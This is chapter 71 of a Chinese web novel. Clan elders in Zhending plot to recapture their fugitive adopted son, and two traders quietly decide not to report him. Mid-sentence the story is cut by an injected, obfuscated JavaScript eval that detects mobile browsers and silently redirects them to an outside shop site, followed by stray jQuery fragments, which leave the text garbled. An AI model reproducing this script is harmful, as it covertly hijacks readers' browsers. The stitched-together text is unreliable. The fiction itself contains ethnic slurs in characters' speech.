71. 第 71 章
    真定府的城墙又厚又高,城门楼高三十六丈,来往进出者络绎不绝,既有牵着马皮牛羊带着浓郁异族风情的鞑子,也有裹着白狐大氅的富商,还有哆哆嗦嗦挑着担子来卖芦菔(萝卜)的乡间农人,缩着脖子挤在入城队伍中,朝着城门卒点头哈腰,大气不敢喘。

    两个皮货贩子相互对视,都缓了口气,不约而同的加快脚步,排在队伍后方。

    和中原诸城出自衙门里头的经城门郎不同,守真定府的城门卒乃是军中人,他们腰间挎着的也不是唬人的腰刀,而是正经□□,城墙上每隔十丈设有一精弩,弓箭手不停歇的走动巡视。

    若是头一次来真定府,说不定就给唬住了,可这俩皮货贩子世代久居,终于排到他们时,还有闲心跟城门卒打个招呼。

    有个城门卒诧异又惊喜:“唷,你俩终于回来了——咱们还以为你俩在草原喂了狼呢!快点回家,你娘天天哭!”

    这是其中一人的邻舍。

    另一城门卒拦下,说:“带的什么,还没搜检呢。”

    “嗨嗨,瞧我这记性!”一人卸下背篓,翻出里头的皮子抖搂给他们看,说:“草原上迷了路险些丧命,耽搁到今日才回来,身上没剩一文钱,别提多晦气。”

    又说:“等我归家,叫我大兄请大哥们喝酒。”

    拦路的城门卒斜眼:“你大兄是哪个?”

    邻舍城门卒凑到他耳边,低声说了几个字,那人会心一笑:“原来是他家的呀,早说嘛……”

    挥挥手,示意他们赶快过去。

    终于走出城门,进入熟悉的街道,呸的一口唾沫啐在地上:“喂不饱的逼狼崽子,从前不知吃了我大兄多少好处,跟这儿装不认识……”

    另一人劝他:“忍忍吧,能留条命,咱们就该拜菩萨去。”说话间回头看了眼城门楼,几张通缉令上的人像已然褪色,但依稀可见,在风中飘呀飘。

    他说:“我怎么瞅着,那个庄家的小郎君……”

    另一人紧急制止:“嘘!”扭头左右看看,街道熙熙攘攘,没人在意他俩,“和咱俩有甚么相干。咱们就是去渔阳关里贩了两张皮货,哪儿去认识什么家的,什么郎君…”

    认真说来,人家待他们不薄。

    虽说出山后并未直入真定府,反而带着被吓的魂飞魄散的他们绕远去到真定府后头,但终究没有伤害他们性命,临走也留给他们粮食,还好心给他们指路,这才叫他们顺利找回来。

    这一路风餐露宿,他们唯恐对方改变主意,打马回来杀人,路上不敢停歇,日夜兼程往回赶,累没半条命。他进门也看到了通缉令,其实这几张通缉令在他们出关前就贴着了,当时谁也没在意。

    经过这一遭,再去看,就有别样滋味。

    那几个俊秀郎君,怎么瞧,怎么像。

    做人得有良心——人家救了他们,他们不能恩将仇报。

    另一人仍有犹豫,迟疑着:“说是去报官或报给庄家,给赏三十贯呢…”

    三十贯,他俩跑上三十趟,且不知能不能赚到。

    “我劝你别打这个主意,”那人冷下脸,“官衙是那么好进的?庄家更不必提,神仙打架小鬼遭殃,别有命拿,没命花。”一人警告他。

    那人仔细一想,确是这个理儿。当下不再计较,两个人脚下不停往家奔去,一路合计要把皮货卖给谁,能赚多少。

    ………

    同一座城里,庄家大宅的正宅主院,庄氏族长庄续礼正襟危坐,几个同辈兄弟如热锅上的蚂蚁团团转。

    “必定是阿尧做得!”其中一人眼眶通红,斩钉截铁,“我就说那是个狼崽子,叫你们不要掉以轻心,如今老四失踪,跟他脱不了干系!”

    他和庄老四是一母同胞,亲生兄弟,老四失踪,他命人瞒着家里老母,但日子一天天飞快,过完这个月就数着日子过冬至了,家里要祭祖,老四再不回来,实在无法搪塞。

    另一人说:“要我说,就不该把阿尧逼上绝境——他既然活着回来,好好和他说,找个借口把他送回家,将来科举出人头地,咱家还是能沾光。”

    都怪族长夫妻,喊打喊杀,好好一个麒麟儿,被逼得和家族离心离德。

    庄续礼沉着脸:“你在怪我?弥子半夜溜进去看阿尧,他一同疯话胡说,咱们定今后计策,你是没参与在家睡大觉,还是在场坐禅没听着?”

    这几个兄弟着实可恨。

    庄续弥是一死白了,临死前却没说清他嘴里秃噜了多少给阿尧。他们兄弟几个商量再三,决定斩草除根以免后患,也没见他们悲天悯人,不叫阿尧死去?

    打从心里头,庄续礼不想杀庄尧卿。

    毕竟是血缘,从小养到大,就养只猫狗也有了感情,更何况庄尧卿实在给他长脸。他想着,把庄尧卿送回自家去,不会挡了亲儿子的路,有朝一日他真出息了,还能不认自己这个养父?

    奈何族老们死活不肯同意,搬出千百个道理阻止。

    他们心里想的,庄续礼也清楚。

    无非就是不想叫他亲儿子上位,把哈德氏血缘排除在族长继承人外。

    哼!既要当女表子,又想立牌坊,与虎谋皮,哪有那么简单!

    这下可好,哈德氏绕过他们庄家人手,先行掳走阿尧,害得一干计策无用。

    有人打圆场:“如今说这些都没用了,不如好好想想,怎么把四哥找回来,他轻易丢不得!”

    若死了,也便就罢了。活着,却是心腹大患。

    “往哪儿去找?哈德氏说他们追到边上就没再见过踪迹,一路城关咱们都派人去打问,没人见过他们。”老四的亲兄弟郁闷着。

    旁人或许不在乎老四的死活,他却不能不在乎。都说老母爱小儿,这句话一点错都没有。

    老四那就是他老母的命,若知道老四没了,他老母说不得就得追他而去…老母若没了就得治丧、守孝,他手里还没掌稳的权利怕不都被几个如狼似虎的族兄弟夺去。

    私心里,也不希望老四丢了性命。

    这个老四,志大才疏,给块骨头就满足,是很好用的一杆枪。

    商量来,商量去,几个人每一个有好主意,不免有些丧气,又互相埋怨,说着说着矛头又都对准庄续礼——谁叫他是族长,获利最多,又是此事的挑头人呢。

    正乱着,外头有人通报一句,紧跟着进来个满头金饰,神采斐然的中年女子。

    众人慌乱间,纷纷站起,有的稽首叫“阿嫂”,有的叫“弟妹”,叫法不同,却都一致慌乱,又不约而同的在心里腹诽她没规矩。

    男人议事,不经通报——哦,人家通报了,只是没等回应就径直进来。

    无论如何吧,男人议事,她一介女流,来掺和什么。

    外界都以为出身真定府孙家的哈德氏不由分说,与庄续礼分坐左右主位,俯视下方,她一双细眼,仔细打量能看出与中原人相异的琥珀色瞳仁流转,全没把在场者放入眼中。

    “家中来信,有人曾在满村见到过阿尧。”她说得一口流利汉话,语调不见半丝异常,完全听不出是在草原上长大的鞑子。

    几人倒吸一口凉气。

    满村位于渔阳关内,是前往真定府的必经之处。

    其中一人追问:“是哪儿?他可是要进真定府?”匆忙站起,慌乱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112086|146697||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道:“我去部署人手,这次务必要抓住他…”

    慌乱不堪,生怕庄尧卿杀回来,害了他们的性命。

    谁能想到呢,庄家的麒麟儿,一朝疯魔,如同恶鬼,杀出庄家时面对曾经的亲朋毫不留手。仅凭几个人手,对上庄家和哈德氏好手的一路追杀岿然不惧,计谋百出,骗得追杀的人团团转。

    想来也是唏嘘,这些本领,原是家族精心教导……从前只觉得欣慰,如今却用在了他们身上。

    “追丢了。”

    哈德氏阴沉着脸,和她平时在外头塑造的菩萨心慈和面截然不同。

    她是万没想到这个养子竟如此棘手。当初几个孩童里头千挑万选,选出最聪颖有资质的,如今倒是后悔,还不如随便选一个愚钝的。

    “从得到消息那日起,城门那里就加紧搜查力度,至今没见他们进城,”哈德氏声音冰冷,“他未必会来真定府。”

    打满村往西南,完全可以绕过真定府,走乡陌小路,北可下直隶,东可进青州,往南也有去处,一旦他们进了渔阳关,就如池鱼入海掀不起涟漪,茫茫人海里想找几个人,难上加难。

    庄续礼皱着眉头连连哀叹,这可如何是好!

    哈德氏冷哼,顶看不上这几个撑不起事的男人。若在渔阳关外,她能动用自家人手,但进了渔阳关,出真定府,只能借用庄家人脉。

    思虑一瞬,微微放缓声音:“为今之计,只能四下寻访。”

    庄续礼蹙眉为难:“咱们人手有限,出了真定府若无方向可不好寻找。”

    又不能大张旗鼓去找,还得用信得过的人手。庄尧卿打出庄家时,把能干活的人伤的七七八八,好几个如今还躺在床上养伤呢。

    “他身边那几个,听口音是南边的,他想往南行,最快的就是走直隶,从京城绕路而行。”哈德氏也知道人手紧缺,思虑再三,决定重点派人沿着直隶方向去寻。

    几个男人虽心中不满她发号施令,奈何没有其他主意,又碍于哈德氏势大,只好听从。

    一人说:“晋家那边来探问过几次,我都搪塞过去,今年冬至祭祖,可怎么办呢?”

    哈德氏闻言,原本和缓的面孔瞬间冷下来。眼神阴鹫盯住说话的人,叫他大冬日出一身冷汗。

    “火灾而亡,全家不详,族里已有定论,晋家外人,没得置喙。”她斩钉截铁,怎么都不肯松口。

    “阿嫂,话不能这样讲。”那人定了定心神,说:“晋家毕竟不是小门小户,武林当众有些名声,他们家镖局在京城也有分号,和些贵人们有往来,咱们庄家还得顾忌些。”

    这些草原上的鞑子忒霸道。

    杀人全家也就罢了,还不肯让人家进宗祠享祭祀。庄尧卿一家香火已经绝了,日后恐怕也无有享祭,但这头三年,是可以享受族中祭祀的。

    哈德氏姣好面容被冷硬侵染,她若笑着时面容柔和,眉眼弯弯,瞧着是正经汉家女子,但当她冷下面孔,双眉挑起,嘴角下撇,两道法令纹凸显,就能看出异族人蛮横模样。

    “阿弟若不服,我请家兄来说话?”哈德氏直直盯着对方,分毫不肯让。

    那人吓得连连摆手,咳嗽几声借冷茶去压。

    哈德氏所指兄长,可不是孙家那个烂泥扶不上墙的家伙,也不是草原上她哈德氏的同母兄弟,而是哈德氏如今当家作主的部落首领,那是个杀人不眨眼的家伙,他可不敢惹。

    明知哈德氏不可能请来首领,只是故意吓唬他,他却不敢接这个话茬。

    只把话咕哝在嗓子里:“好歹留一份香火情…”

    见着族兄朝自己挤眼,又把这句话咽了回去。